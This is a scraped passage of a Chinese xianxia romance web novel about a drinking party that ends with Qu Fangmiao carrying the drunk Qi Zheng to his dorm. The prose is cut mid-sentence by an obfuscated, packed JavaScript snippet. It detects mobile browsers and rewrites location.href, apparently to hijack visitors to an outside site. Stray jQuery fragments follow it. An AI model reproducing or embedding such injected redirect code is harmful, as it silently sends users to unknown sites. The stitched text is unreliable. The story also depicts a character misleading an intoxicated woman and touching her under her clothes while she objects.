72.第七十二章(第2页)
祁筝靠着他,眼神询问孟千衣这么多人什么情况。
孟千衣把酒塞拔掉往杯中倒了一些,润过嗓子后才开口:“我这俩师弟师妹好凑热闹,非要跟着来,我就同意了,正好让你这鸟不拉屎的小居热闹一些。”
祁筝:“……感谢。”
安阿诩说他在路上瞧见这么多御剑之人,一看方向就知是来找祁筝的,有祁筝的地方就有曲首席,他很久未见首席太过想念,就忍不住也加入了这个队伍。
“这附近原先住的都是葫芦峰和土豆峰的,早已搬走,正巧掌门带着几个同门住在天河渡上,附近就我一户。我这小屋里喝酒不方便,不如我们在外面支几张桌子。”
祁筝不好意思谴责几个不熟的,就指挥曲方邈,“你去给那些酒弄出去,放不下了。”
曲方邈听命地行动起来,其他人也一起帮忙把运进来的酒又移了出去。
————
几人一直喝酒喝到子时,毛允在曲玄烨柜子中偷来许多他珍藏的桃香露,私下提前查探过没有魔气,才敢带过来。
如同孟千衣说的,人多的确热闹,气氛实在太好,连曲方邈都喝了不少。
几人心知祁筝要回宗门,今后见面恐没这么方便,便攒着劲灌祁筝酒,成功把她灌得满面通红、双目无神,脸上挂着诡异又甜蜜的笑容。
喝到后面,安阿诩吐了一次,触怒了曲方邈,曲方邈沉着脸让他弄干净,其他人皆被突如其来的凌冽寒风冻得清醒了大半,于是开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925375|163722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想理由准备各自离去。
项归棠连着清了好几次嗓子都无人在意,只好用力拍了一下桌子将众人注意力吸引过来,慢慢说道:“啊,在下想起一桩要事,宗主交代事关宗门,关系重大,只怕要提前离去。还望没有扫了大家的兴。”
毛允口齿不清地发问:“能有,何事?你老爹不是让你这几天……哕、咳咳,别找他吗?”
项归棠捏住她的嘴,“师妹,你应是和梦中事记混了,宗主并未说过。”
毛允“呜呜”半天还想再说话,每发出几声就脸颊一鼓,做出一副作呕之态,吓得项归棠松手许多次,怕她哕在自己手上。
这样持续了几次,他判断出她醉得厉害,御剑都困难。
绮云阁虽有规定禁止酒御,但如今掌门都下落不明,各宗宗主长老更是每天忙到飞起,宗规已然成为一纸空文。
尽管这样,为了师妹的安全考虑,项归棠仍然在告别众人的同时,把毛允一起打包带走了。
孟千衣也借口要辅导师妹学习,驾驶拂晓摇晃离去。她一走,百里一和夏侯兮马上感到没有安全感,便跟着飞走了。
剩下的安阿诩被曲方邈严厉的视线长时间盯着,终于无法在忍受,决定回寝。
鸟不拉屎的小居重新恢复两人。
祁筝把酒壶放下来,举在面前,“老孟,继续给我满上!”
“快点的啊!嗝,哎,咦,人都去哪儿了?”
曲方邈脸也有些飘粉,却是他刻意保留的,目的确实达到了。祁筝每每看过来就会被惊艳到,专门停住观察一会儿,眼神迷蒙,几乎不聚焦。
他从喝醉的人手中拿走酒杯,放回桌上,轻声道:“酒不够了,她们去拿酒,打算换一处喝。”
祁筝转过头,狐疑地看他:“是吗?我怎么没听到?”
曲方邈神情认真:“是你品佳酿太过专注,才没能听见这些无关紧要的小事。”
祁筝想了一会儿,点头,把手搭在曲首席肩膀之上:“嗯,你说的有理。那她们去哪儿了,你还不快带我过去?”
曲方邈一手轻轻从她身下揽过,将她拦腰抱起,另一手唤出霜霜,抱着祁筝一路丝滑飞回寝舍,并在屋外扔了巨大的屏蔽罩。
半晌后,宽敞又冷清的屋里,祁筝直直坐在一个硬榻上,疑惑道:“好熟悉,这是何处?”
曲方邈:“寝舍。”
祁筝环顾一圈,一个人影都没看到:“你不是说她们转战了吗?怎么都不见了?”
曲方邈:“这个我也不清楚。”
祁筝大怒,一捶床:“好啊,耍我!!@¥#&%¥#!”
曲方邈拍拍她的后背:“请息怒,太晚了,先休息好不好?”
善解人意的祁筝静默几瞬,妥协:“好吧。”
两人合衣而卧,祁筝面对曲方邈躺着,她还未睡着,忽然眉毛一皱,手迅速背至身后,截住了衣下一根缓缓上攀的不规则冰冷长条状物。
“什么东西?”她迷迷瞪瞪问。
曲方邈被捏得呼吸紧了紧,“没什么,是我的尾巴。”
“你为何会有尾巴?”
“因为我是妖兽。”
“妖兽?那你修炼得真好,你选的皮相非常好看。”祁筝称赞,手指轻轻戳在面前人的眼皮,睫毛随之而颤,打在指肚上扑簌簌的。
“谢谢。”
“嗯,随口之事罢了。对了,你的尾巴在我衣服里干什么?这样很痒。”
“你身上太热了,我担心你出汗,出汗会不舒服。”曲方邈尝试解释,“这样能让你凉爽些。”
祁筝思考了一会,才否认地摇头,“应该不是。多谢……不过不用了。本来不热,你用尾巴、呃,这样,我才感到热了,而且缠得我并不舒服。”